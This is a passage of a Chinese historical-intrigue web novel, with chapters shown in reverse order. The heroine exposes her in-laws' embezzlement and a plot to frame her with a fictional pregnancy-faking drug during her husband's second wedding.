赵书宁一副受到侮辱的样子,“滑脉是最浅显不过的脉象,你若不曾有孕,我如何冤枉得了你?” 陆知苒只一句话,“我不信你。” 赵书宁激将,“你越是如此,我倒越是要怀疑你是不是真的心里有鬼了。” 楚翊安断然道:“今日你必须接受诊脉!” 陆知苒沉默片刻,“要我接受诊脉也可以,但必须是我医药铺子里的坐堂大夫亲自来。” 楚翊安冷笑一声,“那是你自己的人,谁知道他会不会为了帮你就故意说假话?” 这时姜氏开口,“先让书宁给你诊脉,然后再去请你的人。若两个人都诊出同样的结果,便没有什么可争议的。若有不同的决断,那便再请其他大夫来诊脉便是。真的假不了,假的也真不了。” 姜氏总算说了句公道话,双方都没什么可继续争辩的了。 赵书宁看着陆知苒,“把手伸出来。” 哪怕她掩饰得再好,陆知苒也能看到她眼底那抹隐隐的兴奋。 她在等自己身败名裂。 她给自己下了药,那是曾经流传于宫中的秘药。 中了此药之人,会在两个时辰内出现怀孕的症状,脉象也毫无破绽。 前世,便曾有宫妃用这种秘药为自己争宠。 最后,再找个合适的时机,让“腹中胎儿”流产,还能顺便栽赃到旁人身上,可谓是无往不利。 前世,赵书宁便在她的身上用过这种药! 对于这莫名的怀孕,陆知苒百口莫辩。 她给楚翊安带来了奇耻大辱,失了贞洁,而他却大度地没有休了她,只是变本加厉地贬低她,压榨她,让她替侯府当牛做马…… 第36章 狠狠打脸姜氏 楚翊安当即握住她的手,语气无比坚定。 “我们是真心相爱,何错之有?更何况我也已经答应要给她应有的体面,她却依旧胡搅蛮缠,实在是令人厌烦。” 楚翊安毫不留情的贬损陆知苒。 众宾客都用各异的目光看着陆知苒,或同情怜悯,或鄙夷不屑。 “噗嗤!” 一道笑声突兀响起,打破了这份诡异的安静。 众人循声看去,就见萧宝珠掩着嘴,一副憋笑的模样。 “抱歉,实在太好笑了,我没忍住。” 楚翊安:…… 她虽没有指名道姓,但楚翊安却知道,她在嘲讽自己。 陆知苒唇角微微弯了弯,“有些人就喜欢自说自话,的确挺好笑的。” 楚翊安的脸色铁青,赵书宁更是满脸寒霜。 “陆知苒,你闹够了没有?” 陆知苒语气淡淡,“我一直在解决问题,是你们不停东拉西扯。” 楚翊安嘲讽,“你所谓的解决问题,就是让我们所有人在这里干站着等你对账?” 陆知苒眼底闪过一抹厌烦,“那便去京兆府把府尹大人请来,这几桩案子都是经由府尹大人亲自审理,事情真相如何,没人比他更清楚。” 楚翊安面上嘲讽更甚,“府尹大人是你说请就能请的?你多大的脸?” ——就算她真的能请得动府尹大人,自己也不会让她有这个机会。 这场闹剧该结束了。 他的话音刚落,就听得人群外传来一阵骚动。 “有官差来了!” 人群自动让开一条道,很快,一行衙差便走了进来。 楚翊安锐利的目光扫向陆知苒,“是你报的官?你拿不出证据来,就索性直接报官把她们都抓了?这就是你解决问题的方法?” 他的逼问咄咄逼人,半丝情面都不留。 陆知苒冷声,“我没有报官。” “除了你还有谁?” 为首那名衙差开口,打断了他们的话。 “诸位大人,小的是奉了傅大人之命前来请侯夫人前往府衙配合问询。” 一句话,叫楚翊安的愤怒僵在脸上,姜氏更是闪过一抹难掩的错愕,旋即一股不祥预感攀上心头。 楚翊安怀疑自己听错了,“你方才说请谁?” 那衙差开口,重复了一遍。 “请宣平侯府的侯夫人,前往府衙配合问询。” 姜氏瞬间就猜到可能发生之事,她立马想把此事遮掩过去。 但楚定峰不知何故,直接便问了出来,“傅大人是不是弄错了?有什么案子需要夫人前去配合问询?” 衙差:“府衙接到几桩案子,侯府少夫人几个铺子的管事被以贪墨主家财物的罪名扭送官府,经过傅大人一番审理,他们对自己的罪行供认不讳。” “其中,张权,李牧和黄永明等几个管事招供称,其贪墨之举乃是受了侯夫人指使,贪墨所得亦有七成进献给了侯夫人,是以需要侯夫人亲自前往府衙,当面对质。” 这番话一出,全场先是一静,旋即便是一阵哗然。 张权家的等妇人听了衙差的话,吓得脸色惨白。 无数目光落在了姜氏的身上,她站在原地,几乎无地自容。 方才所有针对陆知苒的指责和怀疑,全都化作一记响亮的耳光,狠狠打在她自己的脸上。 姜氏的脸涨得通红。 “这怎么可能?傅大人是不是弄错了?” 那名衙差一板一眼地道:“正是因为此事或许会有误会,傅大人才命小的来请侯夫人。” 陆知苒适时插话,“对了,有件事父亲或许不知道,张权,李牧等管事,都是母亲安排到我铺子里的心腹,母亲担心我面嫩,底下人不服管教,这才做了这番安排。只是没想到……” 她没把话说完,但神色间却是藏满了失望与痛心。 众人恍悟,看着姜氏的眼神更加鄙夷不屑。 这下基本坐实了,她就是个贪图儿媳钱财的恶婆婆。 姜氏恨得几乎咬碎一口银牙。 她强作镇定,“那些管事的确曾是我的人,但三年过去,他们在你的手底下当差,早就成了你的人,我对他们也早就失了威慑力。他们做的那些混账事,我毫不知情!那些指控,全都是一派胡言!” 此事无论如何她都不会认。 不然她的名声,连带侯府的名声就全都毁了! 然而,她的否认落在众人耳里,却分外苍白无力。 楚定峰的脸色差到了极致,他在心中狠狠地将姜氏大骂一通,此时却不得不替她周旋。 “此事定然有什么误会。今日是我们侯府大好之日,待会儿新人还要行拜堂之礼,可否请傅大人通融一二,待今日过后,本侯便亲自与拙荆一道去官府,向傅大人澄清解释?” 换作以往,他哪里会将一个小吏放在眼里? 但这次,他却将姿态放得很低,说是低声下气也不为过。 如若当真让姜氏被带走,那侯府的颜面算是彻底丢尽了。 楚翊安的脸上也蒙着一层寒霜,赵书宁更是气得几乎呕血。 她既恼恨陆知苒诡计多端,更恼恨姜氏吃相难看,一看到银子就走不动道了。 而这样的丑事偏偏在自己大喜的日子里传出来,日后大家提起今日喜宴,想到的不是她和翊安的爱情有多感人,而是姜氏有多狼狈难堪! 那衙差也不敢彻底得罪宣平侯府,对方已然把姿态摆得这般低,他便也不再为难,从善如流地告退了。 衙差走了,现场的气氛却是尴尬到了极点。 想到今日种种皆因那些无知妇人而起,楚定峰就是满腔邪火。 环顾一圈,却发现她们早就趁着众人不注意,悄悄溜了。 楚定峰气得咬牙,却发作不得。 众宾客还在,喜宴仪式也还要继续。 他勉强扯出一个干巴巴的笑脸,“今日侯府突发变故,倒是让诸位看笑话了。” 有人捧哏,“正所谓好事多磨,开头闹一闹,后面的日子就都顺顺遂遂的了。” “正是正是。” 楚定峰见有人愿意给他递台阶,心口的那股郁气总算稍稍纾解几分。 “实在是失礼了,还请诸位与我一道入内,继续观礼。” 第35章 真假不明的账册 所有人都赌咒发誓,恨不得把心剖出来证明自己绝没有说半个假话。 姜氏满脸失望地看着陆知苒。 “知苒,此事你做得实在太鲁莽了。他们都是在你手底下干了这么多年的老人,就算他们真的有做得令你不满意之处,也不该如此不留情面。传出去,以后谁还敢在你手底下当差?” 楚翊安一反常态地没有开口,因为他突然想到了前几日那位何管事之事。 楚定峰却不知此事,他十分不快,原本好好的一桩喜事,现在闹成这样,像什么样? 但想到陆知苒与德丰帝可能的那层关系,他便只能把心头的不满硬生生压下。 “好了,今日是安儿的大喜之日,任何事都没有此事要紧。陆氏,此事我相信你不是故意为之,但你既做得不妥当,就当改正。赶紧派人去官府销案,把人放了,此事便就此揭过。” 作为一家之主,他不容置疑地对此事做了裁断。 赵书宁对他这番大事化小,小事化了的态度十分不满,再想到自己的计划,眸底不禁闪过一抹暗芒。 陆知苒:“父亲,此事儿媳恕难从命。那些管事借着职务之便中饱私囊,已是不得不除的蛀虫,儿媳将其送官合理合法,绝无销案的可能。” 她的态度强硬,竟是半丝不让。 周遭瞬间静了一瞬,所有人都不敢置信地看着她。 萧宝珠的眼中迸出一抹晶亮的光。 会说就多说点,她爱听! 短暂的愣怔之后,楚定峰便回过神来,脸上浮出一抹被拂了面子的羞恼,一张脸都涨红了。 “你……” 她果然是攀上了皇上,敢这般公然忤逆自己了! 姜氏气得胸脯上下起伏,“知苒,你怎可这般忤逆不孝?这就是你身为世家嫡女的教养?” 一顶不孝的大帽子直接扣了下来。 在场宾客那般多,都看到了此事。日后,就算侯府休了她,大家也只会说是陆知苒品行不端,怪不到侯府头上去。 陆知苒如何会不知道姜氏的谋算? 她屈膝,朝楚定峰和姜氏的方向行了一礼,一副低头服软的姿态。 “父亲,母亲,儿媳并无忤逆不孝的意思,若惹了父亲母亲不快,儿媳在这儿给二老赔个不是。” 听了这话,楚定峰和姜氏这才稍稍顺了一口气。 旋即,她却话锋一转,“但这两件事一码归一码,不能混为一谈。儿媳拿办他们,是因他们品行不端,岂能随随便便放过?若有了这先例,其他人岂不是要有样学样?” “对了,还有另外一桩官司。这三年来侯府都有在我的铺子里采买东西,只付了定金,母亲说侯府已经付了银子,但我是半个铜板都没瞧见,后来查证那些银子也是被他们所贪墨。他们胆敢糊弄母亲,岂能轻饶?” 此事陆知苒曾提起过一回,但却不是当着所有宾客的面。 现在她当众提起,这下所有宾客都知道了,侯府在儿媳妇的铺子里赊过账,那笔银子的去向还不明不白的。 这其中的弯弯绕,可太值得细品了。 姜氏似被揭了遮羞布,难堪极了。 “你口口声声给他们定罪,可有证据?咱们侯府是讲道理的人家,可不能仗着自己主人家的身份就糟践底下人。” 陆知苒不紧不慢地开口,“儿媳既然敢这么做,自然有十足的证据,绝不会冤枉了任何一个好人。” 姜氏见她如此镇定,微微顿住,一股不安爬上心头。 不可能,她怎么可能在短时间里查出所有人的证据?她定是在虚张声势。 张权家的立马又哭嚎起来,“不可能,我家老张绝对没有做过这样的事,我们实在是冤枉!请侯爷夫人为我们做主啊!” 这边的动静吸引了越来越多的路人围观,今日宾客中还有不少贵客,楚定峰觉得丢脸至极。 “陆氏,你的证据在何处?你若拿不出证据,我定不饶你!” 所有人都看着陆知苒,只等着看她的反应。 姜氏眸底闪过一抹狠厉,陆知苒的胆大包天已然触到了她的逆鳞,今天这场闹剧必须要由陆知苒背锅! 陆知苒不慌不忙,“我已让人去取账目,很快就能送来。” 话音刚落,丹烟和翠芙就抱着账册小跑到了跟前。 “小姐,奴婢把账册取来了。” 陆知苒朝楚定峰和姜氏示意,“父亲,母亲,这些便是证据,请你们过目。” 闹事的几人见此,顿时慌了,姜氏的面色也微微沉了沉。 这可真是咬人的狗不叫,自己以前真的小瞧她了! 姜氏伸手拿起一本账目,飞快地翻完,又拿起下一本。 接连翻看了好几本,姜氏的脸上满是失望。 “这账目上的笔记都是全新的。知苒,你便是要糊弄我,也不该用这般拙劣的手段。” 姜氏心中冷笑,还以为她有什么杀手锏,却原来不过如此。 楚翊安也翻看了一番,脸上露出嘲讽之色。 “这些真假不明的账册,就是你所谓的证据?” 自己真是高估她了,这女人因为自己和书宁的喜宴到底是乱了方寸,只会使些昏招。 陆知苒语气坚定,“这些账目的确是近期整理,但上面记录的每一条都一清二楚,有迹可循。我已经命人去铺子里取原账目,只需两者一一对照,就能知道真假。但凡有哪一条是冤枉了他们,我立马当场道歉。” 姜氏如何会坐视事情如此发展?她立马倒打一耙。 “如今看来,你倒像是早就有备而来的样子。莫非这的确是你刻意安排,就为了故意拖延时间,搅了安儿与书宁的喜宴?” 楚翊安面色一沉,“陆知苒,你当真令我嫌恶至极!你以为你能阻碍我与书宁在一起吗?你错了,你做的这一切只会让你自己变成一场笑话!” 赵书宁的脸上浮出一抹深深的同情,她柔声细语地开口,“翊安,你别再说了,这件事是我对不起她,是我抢走了你,她对我们心存怨怪也是情理之中的。” 第34章 大好的日子见了血,晦气! 自己大好的日子竟见了血,简直晦气,原本的喜色瞬间被冲淡了大半。 楚定峰怒喝,“是谁在胡说八道?给我站出来!” 众人面面相觑,却无人站出来。 楚定峰压着怒意安抚众人,“大家也都瞧见了,那喊话之人藏头露尾,别有居心,定是想存心破坏喜宴。诸位莫要轻易信了那番鬼话。” 姜氏也立马跟着附和。 楚翊安转眸,朝陆知苒的方向看了一眼,那眼神充满警告。 他认定此事就是陆知苒安排的,因为除了她,没人会做这样的事。 很快,仪式继续。 倌相再次开口,“一拜天地——” 这时,一个小厮十分不合时宜地朝这边奔来,脸上写满了焦急,一看就是出了大事的样子。 有了前头两次的经验,这会儿众宾客都齐刷刷地把目光落在那小厮身上。 那小厮本是想悄悄上前递话,冷不丁一下收获了这般多关注,脸上不禁有冷汗渗出。 姜氏想把人撵走,但萧宝珠却是抢先一步开了口。 “你这般慌乱地跑来,可是外头发生了何事?” 她简直是大家的嘴替,问了大家想问又不好问的问题。 那小厮面色僵硬,满脸无措,求助地看着上首之人。 萧宝珠:“有话直说便是,莫不是有什么难言之隐?” 大家都是体面人,不会在别人喜宴上问这样的问题,让主家面上无光。 但萧宝珠不在意这些,她本身就有个任意妄为的名声,又是备受宠爱的九公主,她便是说了什么不该说的,主人家也只能忍着。 楚定峰和姜氏脸色都不好看,却敢怒不敢言。 楚翊安冷声呵道:“快说!究竟发生了何事?莫要这般吞吞吐吐。” 他倒是要看看,这一回陆知苒又要耍什么把戏。 那小厮硬着头皮开了口,“是,是咱们府门前,有人来伸冤,其中一名妇人直接撞在了府门上,见了血……” 宾客们一阵哗然,看来,方才那喊话之人并非空穴来风。 萧宝珠早已按捺不住,第一个站出来。 “我去外面看看。” 有了萧宝珠带头,其余宾客纷纷跟上,一时乌拉拉的一群人,全都往府外而去,原本热闹喜庆的厅内顿时笼上了一股尴尬窘迫。 便是见过大世面的倌相和喜娘都不知道该如何把场子热起来。 主要是,以前他们也没遇到过这种情况啊。 楚定峰和姜氏的心情急转直下,降到冰点。 赵书宁突然一把掀开盖头,露出一张精心装扮的面容。 她此举再次惹来宾客的哗然,姜氏等人更是变了脸色。 楚翊安语气微沉,“书宁,我们尚未礼成,你怎么自己掀了盖头?” 赵书宁冷冷道:“事到如今你还没看明白吗?分明是有人不想让我们的喜宴顺利进行,外头的事不料理清楚,今日我们就别想好好拜堂。” 她说完,目光似一把刀,冷冷扫向陆知苒。 宾客们也明里暗里朝她投去目光。 楚定峰沉着声音,“我们也去瞧瞧,究竟发生了什么了不得的事!若当真有人胆敢背后弄鬼,我定不轻饶!” 事发突然,欲盖弥彰解决不了问题,大家也都跑去看热闹了,侯府也没法再龟缩不出。 众人一齐往府门而去! 府门外已是一片混乱,姜氏等人赶到时,就看到侯府大门上多了一道刺目的鲜红,门前不远处还躺着一个身形高壮的妇人,她的脑袋裹了一层白布,上面有血迹渗透出来。 即便是受了伤,那妇人的战斗力依旧惊人,但凡靠近她,想把她拉走的人都被她拳打脚踢全都掀翻。 闹事的除了这妇人还有七八人,皆是老弱妇孺。 萧宝珠简直好奇死了,忍不住想开口,却被身旁人拦住。 “看着就是,别插嘴。” 萧宝珠竟是十分听话地闭了嘴,只把眼睛瞪得大大的,耳朵也高高竖起。 姜氏在这些人中认出了几个熟悉的面孔,脸色立马沉了下去。 “张权家的,李牧家的,你们是吃了熊心豹子胆了吗?竟敢在侯府大喜之日登门闹事!” 楚定峰看她,“你认识这些人?” 姜氏立马道:“她们的男人都是知苒铺子里的管事。” 她并未撒谎,只是没有说出全部实情罢了。 这话带着十分强的指向性,所有人立马将怀疑的目光投向陆知苒。 楚定峰目光沉沉地看着她,“这是怎么一回事?” 陆知苒面露困惑,“儿媳并不知情。” 楚翊安冷冷道:“你是真不知道,还是装不知道?现在我与书宁的喜宴被搅和了,你满意了?” 赵书宁没有开口,只是满脸受伤与委屈。 陆知苒眸光平静地与他对视,“此事最直接的方法是当面问问她们事情的来龙去脉,而不是凭着一张嘴就给我扣帽子。” 姜氏:“张权家的,你说,到底是怎么一回事?” 那位脑袋负伤的妇人立马跪坐起来,扯着嗓子高声哭嚎。 “夫人,并非民妇存心闹事,而是实在被逼得没法子了!少夫人命人把我家男人抓起来见了官,民妇实在是没法活了啊!” 其余人也都纷纷开口,附和了那妇人的话。 “对啊,我家那口子在少夫人的手底下兢兢业业干了三年,就算没有功劳也有苦劳啊,少夫人您怎能如此狠心?侯爷,夫人,您们可要为我们做主啊!” 姜氏闻言一阵天旋地转。 陆知苒竟然那么快就下手,把自己的人都抓起来了? 好,好啊,好得很!可她终究还是太年轻,太急躁了些! 姜氏一副不可置信的语气,“你,你命人把那些管事都抓起来了?” 陆知苒先是茫然,旋即恍然大悟。 “儿媳并未下令捉拿他们,只是有了何管事的前车之鉴,儿媳便吩咐手下彻查醉清风,百宝斋等各个铺子的账目,若有同样中饱私囊之人,就照章办事,以肃清风气。如今看来,张权和李牧几人怕是手脚不大干净。他们被抓起来,也不算冤。” 那几个妇人立马张嘴嚎了起来。 “冤枉啊,真是天大的冤枉啊,我家老张最是老实本分,从来没有偷拿过少夫人的一个铜板!” “我家那口子更是老实巴交,安分守己,绝对不可能拿不该拿的东西!” 第33章 瞎说什么大实话 楚云清和姜锦年都略显尴尬,心底隐隐生出一股被嘲讽了的不舒服。 楚云清干笑,“公主说笑了。” 萧宝珠没再理会她,将目光落在了陆知苒的身上。 “你挺有意思的。” 陆知苒抬眸,对上了对方饶有兴味的眼神。 “我以为你是任人拿捏的软柿子,没想到今日一见,却是与外界传言大不相同。你怼人的样子我喜欢。” 陆知苒短暂地愣怔片刻,旋即便笑了。 “公主亦是与传言大不相同。” 萧宝珠反问,“传言中我是什么样子的?” 陆知苒直言不讳,“骄纵跋扈,目中无人。” 她这话一出,周围不少人都暗暗倒吸冷气。 她可真敢说啊,也不怕得罪这位祖宗。 楚云清和姜锦年则是露出幸灾乐祸之色,只等着她被萧宝珠发难。 但陆知苒知道,她不会发难。 前世,陆知苒与萧宝珠只有为数不多的几次交道,便是那几次交道让陆知苒知道,她并没有大家所以为的那般霸道蛮横,相反,她骨子里是个善良柔软之人。 萧宝珠果然没有发难,她有些好奇地问,“那现在呢?你觉得我是怎样的人?” 陆知苒认真道:“公主快人快语,十分率性。” 萧宝珠上下打量她,似在衡量她这话里的真假。 她轻哼一声,“你倒是会拍马屁。” 她的语气轻松,并未生气,反而看上去心情不错。 显然,陆知苒的这一记马屁拍对了。 楚云清和姜锦年傻眼了,众人也有些懵。 曾经有一位小姐在背后议论萧宝珠,不巧被正主听了去,萧宝珠直接下令对方自扇耳光,脸都打烂了。 现在,这位公主怎么变得这么好说话了? 楚云清自然不想看到陆知苒得到萧宝珠的另眼相待,她再次开口,想抢回场子,“公主,您今日能来,实在是令我受宠若惊……” 萧宝珠不客气地道:“我又不是为了你来的。” 楚云清脸上的表情瞬间定格,姜锦年立马接话,“公主定是也听说了今日新郎新娘的故事,为之感动,这才亲自前来观礼。” 楚云清也很快调整了面部神色,“我哥哥与书宁嫂嫂的爱情故事的确感天动地,令人动容。” 萧宝珠翻了个白眼,“你又不止一个嫂嫂,有什么好感天动地的?” 楚云清:…… 姜锦年:…… 其余人:…… 瞎说什么大实话。 陆知苒唇角不受控制地翘了翘。 这话也只有萧宝珠敢说,但凡换个人,早就被怼了。 萧宝珠之所以会来,不是因为闲得无聊,而是偶然得知,自家七皇兄今日也要来,而且他还会干一件大事。 七皇兄要干的大事,那必定是天崩地裂的程度。 上回他在人家宴席上,直接给人把桌子掀了。这会他又要干些啥? 她一再逼问,七皇兄都守口如瓶,这越发叫她心头痒痒,索性就自己跑来了。 楚云清心中再憋屈,也只能扬起笑脸奉承。 “不管怎么说,公主能来我们都不胜荣幸。公主您这边请,这次侯府喜宴用的是上等的碧螺春,您赏脸品尝一二。” 萧宝珠脱口而出,“是赊的吗?” 楚云清:…… 这天简直没法聊了。 半晌她才憋出一句,“公主说笑了。” 萧宝珠还想说些什么,身侧传来一道不轻不重的轻咳声,她忍了忍,还是遗憾地把话头咽了回去。 陆知苒捕捉到了这个小细节,目光往旁边的丫鬟身上挪了挪。 那人一身寻常的打扮,容貌普通,皮肤微黑,很不起眼,陆知苒的目光却在她的脸上多停留了两息。 竟然是她? 陆知苒先是有些意外,但想了一会儿,又觉得没那么意外了。 她会出现在这里,定是冲着赵书宁来的。 姜氏本在一众贵妇中交际,得知萧宝珠竟然来了,急忙匆匆赶来,又在萧宝珠面前一阵奉承,萧宝珠听得腻味极了,赶紧找借口脱身了。 若不是想等着看七皇兄要耍什么把戏,她早就走了。 外头吹吹打打的声音慢慢靠近,新娘子的喜轿到了。 赵书宁并无娘家,是在侯府的别院中出嫁。 楚翊安生得俊朗,身形高大挺拔,一身喜服越发衬得他英朗俊逸。 赵书宁身形高挑,那身锦绣阁赶制出来的嫁衣精美绝伦,削弱了她原本的英气,平添几分柔美婀娜。 她盖着盖头,由楚翊安牵着前行,看上去分外美好登对。 街道两侧满是围观的百姓,毕竟二人的故事早已传遍街头巷尾,他们的结合本就传奇,如他们这般补办喜宴的,更是少见。 楚定峰和姜氏皆是装扮体面,端坐上首,含笑看着二人。 今日不仅李大人和李夫人前来赴宴,便是最得宠的九公主也来了,这让楚定峰和姜氏面上光彩极了。 倌相正准备唱礼,外面就有一道高亢又急促的声音传来。 “不好了不好了,侯府门口有人闹事来了!” 这一句喊声十分响亮,一下压过了在场所有声音,倌相也卡壳了。 楚定峰和姜氏脸上的笑容瞬间凝固,旋即便是一阵恼怒。 是哪个不懂事的玩意儿在这个关头传这样的消息?到底有没有眼力见? 楚定峰迁怒地朝姜氏瞪了一眼,这次喜宴里里外外都是姜氏在安排,眼下出了这么个岔子,也是她的责任。 姜氏也觉得脸上挂不住,立马朝文嬷嬷示意,赶紧把事情处理了。 她扯出笑脸,“都是一些无关紧要的小事,不必在意,仪式继续。” 众人只得按捺住心中好奇。 萧宝珠眼中的八卦之光越发熊熊燃烧,这定是自家七皇兄干的。 他肯定还有后招,自己就只等着看好戏就行了。 倌相清了清嗓,“一拜天地——” 这时,方才那道嘹亮的嗓音再次传来。 “不好了不好了,有人一头撞在了侯府大门上,出人命了!” 倌相那尾音尚未落地就被这嗓子吓得一阵呛咳,众宾客中亦是发出一阵窸窸窣窣的议论。 刚刚调整好面色的楚定峰和姜氏再次僵在了那儿,楚翊安和盖头下的赵书宁同样面色难看。 第32章 九公主萧宝珠 楚云清本也在看戏,不想冷不丁被点了出来,她面上顿时闪过一抹尴尬,更是暗怪姜锦年嘴上没把门,公然把自己卖了。 她一副息事宁人的语气,“表姐,算了,今日是哥哥和书宁嫂嫂大好的日子,婚宴也没有被耽搁,就不要再提这件事了。” 她这话看似在替陆知苒打圆场,但实际上却是承认姜锦年所言确有其事。 姜锦年不依不饶,“她都敢做,我为什么不能提?今日这样的好日子就不应该把她放出来,谁知道她会不会再闹出什么幺蛾子?” 陆知苒静静地看她们一唱一和,待她们说完了,她才慢悠悠开口。 “你们说的刻意刁难,指的是我没同意侯府在我的铺子里赊账之事吗?如果这就是你们所谓的刁难,那我的确没有什么好否认的。” 陆知苒这话一出,众人顿时露出了惊讶的神色。 侯府竟然要赊账? 她们二人也愣住了。 楚云清只是听母亲怒骂陆知苒是白眼狼,在采买上故意使绊子,她便理所应当地给陆知苒定了罪,但具体情况如何,她却没细问。 而她所告知姜锦年的,也是自己联想发散,又添油加醋之后的版本,她们万万没想到她说出的会是这样一番话。 姜锦年不敢置信,“你胡说什么?侯府怎么会赊账?” 楚云清却是莫名升起一股心虚与慌乱。 侯府的经济状况如何,她或多或少知道一些,陆知苒说的很有可能是真的! 这事抖出来,丢脸的可是侯府。 她连忙扯住姜锦年,“表姐,算了,不要再说了。” 姜锦年见她如此,越发觉得自己该把陆知苒的真面目揭穿。 “清儿你就是太善良了,到这种时候还要给她留体面。” 楚云清心中暗急,当着众人的面又不能说实话,只能急切地找借口。 “吉时很快就到了,我们还是不要再节外生枝。” 陆知苒:“此事还是现在说清楚为好,不然,这么一口大锅往我脑袋上扣,我可受不起。” “过往三年,侯府便屡次在我的铺子里赊账,因小人作祟,我迄今都尚未拿到尾金。这回,侯府又要到我的铺子里赊账,采买宴会所需之物,为免日后更多的麻烦,我便拒了此事。正所谓在商言商,一手交钱一手交货方为正理,我并不觉得自己做得有何不妥。” 她们二人主动挑事,她就投桃报李,直接把侯府的老底给揭了,看谁怕谁。 众人听了这话,顿时露出惊讶又意味深长的神色。 这三年侯府竟一直在陆知苒的铺子里赊账?而且人家还没拿到尾金,这就有些耐人寻味了。 楚云清和姜锦年异口同声,“怎么可能?” 她们脸上俱是不可置信的神色。 别说姜锦年,便是楚云清也是第一次听说这件事。 陆知苒神色淡定,“你们若是对此事存疑,我可以让人去拿账本,所有账目都有据可查。你们信不过我,也可以把侯府采办唤来,让他当面给大家解释。” “你们若是连侯府采办也信不过,也可以去官府求证,凑巧前两日官府拿办了一个手脚不干净的管事,他的供词中便提及此事,官府文案里定有记录在册,那总错不了。” 陆知苒的这番话,如同一记耳光,狠狠扇在她们的脸上,叫她们再没了嘴硬狡辩的底气。 姜锦年的脸色最是难看,她本是主动找茬,想让陆知苒难堪,却没想到最后被打脸的却是她自己。 众宾客们一个个都是人精,事到如今已然基本窥见了此事全貌。 这偌大的侯府,竟是连置办酒席的银子都凑不出来?怎么可能?不过是吃相难看,明目张胆地占儿媳妇的便宜罢了。 以往,陆知苒都忍了,但这回,侯府竟想如法炮制,花她的银子为平妻张罗酒席,这事谁忍得了? 不止是陆知苒,怕是赵书宁知道了,心里头也要膈应吧。 楚云清迁怒姜锦年的多嘴,害她也跟着陷入此番尴尬境地,但她更恼的却是陆知苒的咄咄逼人,眼底不禁多了一丝怨毒。 她压着声音责怪,“嫂嫂,此事你为何不私下说?现在大家都知道了,侯府的脸面都丢光了!” 姜锦年也立马跟着附和,“清儿说得没错,你就是存心想搅了这场喜宴!” 陆知苒都听笑了。 这一家子人果然一个德性,出了事就把责任推到别人身上,千错万错都是旁人的错。 她可不惯着她们。 “此事不是姜大小姐公然挑起的吗?我不过是自证清白罢了。你应当问问姜大小姐究竟存了什么居心,是不是存心想看着侯府丢脸。” 一番话把矛头指向了姜锦年。 姜锦年立马跳脚,“你休要挑拨离间!” 陆知苒淡淡道:“我不过实话实说罢了,怎么就成挑拨离间了?” “你……” 楚云清脸色难看地怒瞪了姜锦年一眼,“好了,表姐,你就少说两句吧!” 姜锦年听出她话里的怨怪之意,只觉心头一梗,最后到底是咬唇,不再多说。 这时,一道突兀的笑声响起。 众人循声看去,顿时惊讶,陆知苒的眸底亦是闪过一抹意外。 她怎么会来? 来人生了一张粉圆娃娃脸,大而圆润的杏眼,身形也较之一般女子更加丰腴两分,并不符合当下以瘦为美的标准,却透着股珠圆玉润的可爱与福气。 这人便是德丰帝的幼女,九公主萧宝珠。 她是德丰帝的老来女,更是唯一的嫡女,宝珠这个名字便足见德丰帝对其宠爱。 作为集万千宠爱于一身的公主,说她能在京中横着走也不为过,没人敢随随便便得罪她。 宣平侯府可没有资格给她下帖子,但她却不请自来了,这对宣平侯府而言,简直是莫大的体面。 楚云清立马露出又惊又喜的神色,急忙上前行礼,“见过九公主,公主大驾光临,实在是令侯府蓬荜生辉!” 又怒瞪了领路丫鬟一眼,“公主来了怎么都不通禀?把公主晾在一边,岂不显得侯府很失礼?” 萧宝珠:“是我不让丫鬟出声。不然,我岂不是看不到方才那番表演?比茶馆的说书先生说得精彩多了。你们继续啊,我正听得高兴呢。” 第31章 吃食被人动了手脚 今日的宣平侯府格外热闹。 阖府上下都贴了新对联,挂上了红灯笼,从大门,仪门一路延伸到内垂花门,两边廊下都贴满了大红喜字,处处透着喜庆。 陆知苒还在慢悠悠地收拾打扮,姜氏就派了人来请她,一副生怕她不露面的架势。 她不露面,宾客就少不得对侯府指点议论,她若露面,这些问题就都迎刃而解了。 并不理会姜氏的催促,只依旧不紧不慢地拾掇自己。 丹烟也备好了今日早膳。 红沉沉的枣泥糕,紫酽酽的山药糕,一笼香气扑鼻的小笼包子。除此之外,还有一碗熬得软烂的粳米粥,旁边搁着几碟各色小酱菜,全是丹烟自己做的。 陆知苒以往早膳用得都不多,但今日她有预感,定然不安生,她可得好好把肚子填饱了。 刚吃了一口粥,她的眉头就蹙了起来。 丹烟瞧见了,当即问,“小姐,怎么了?可是不合胃口?” 陆知苒放下勺子,又拿起了其他吃食,掰开凑到鼻子前认真嗅了嗅,脸上慢慢笼上一层寒霜。 “这些吃食被人动了手脚。” 前世,她便曾被人下过这种药,那味道她再熟悉不过。 会给她下药之人,除了赵书宁不做他想! 只是陆知苒有些疑惑,前世这药下的时间还要晚点…… 丹烟“扑通”一声跪了下去,诚惶诚恐地开口,“小姐,奴婢没有,这,奴婢也不知道是怎么一回事,奴婢真的没有……” 陆知苒俯身,将她扶了起来。 “我没有怀疑你,你是我最信任的人之一,便是怀疑谁也不会怀疑你。” 丹烟听得既愧疚又感动。 “都怪奴婢疏忽大意,让人钻了空子。” 陆知苒宽慰她,“只有千日做贼,没有千日防贼,你不可能时时刻刻防着别人。你好好想想,是在哪个环节被人动了手脚,谁最可疑?” 丹烟思来想去也没想出头绪来,神情顿时更加懊恼。 陆知苒沉吟片刻,“这些吃食你可有经过他人之手?” 丹烟立马摇头,“没有,奴婢做早膳之时并无其他人在小厨房中。” “那问题就出在食材上。可还有剩余的食材?你悄悄拿来我看看。” 丹烟立马去了,很快去而复返,陆知苒将她带回来的东西一一检查一番,却没有闻到熟悉的味道。 丹烟一拍脑门,“我知道了,问题多半出在水上!” 她们院子里并没有水井,每日用水都是从府中水井中打的。 若要动手脚,那在水里动手脚的可能性最大! 丹烟又风风火火地跑去了,很快就舀了一大盆水来。 陆知苒凑近去闻,果然找到了原因,的确是水里被动了手脚。 丹烟怒道:“我这就去找陈婆子问问,到底是不是她干的!” 陈婆子便是负责取水的婆子。 陆知苒将她拦下了,“此事暂且不要声张,我自有法子。” 这药陆知苒上一世吃过,她知道会有怎么样的后果。 赵书宁想要她在宴席上身败名裂,两世仇恨,这一次,她定要好好回报她! 陆知苒唤来心腹,如此一番做了安排,这才现身人前。 今日她穿了一身烟罗紫的金丝织锦外袄,脚上穿一双宝相花纹云头锦鞋,头上戴着一支金镶珠宝半翅蝶簪。 她的装扮并不出挑,但却有种春花盛绽的美,不言不语间更是带着一种清雅高华的气质。 更何况,她还是楚翊安的正妻,这个身份就更自带吸引力。 这三年,陆知苒交际应酬的机会很少,见过她的人并不多。 